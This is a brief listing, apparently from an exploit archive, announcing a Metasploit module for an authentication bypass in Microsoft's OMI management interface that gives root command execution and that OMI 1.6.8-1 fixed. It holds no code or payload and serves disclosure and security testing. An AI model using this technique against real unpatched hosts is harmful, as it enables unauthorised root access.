Microsoft OMI Management Interface Authentication Bypass

Microsoft OMI Management Interface Authentication Bypass
Posted Nov 10, 2021
Authored by Spencer McIntyre, Nir Ohfeld, Shir Tamari | Site metasploit.com

This Metasploit module demonstrates that by removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).
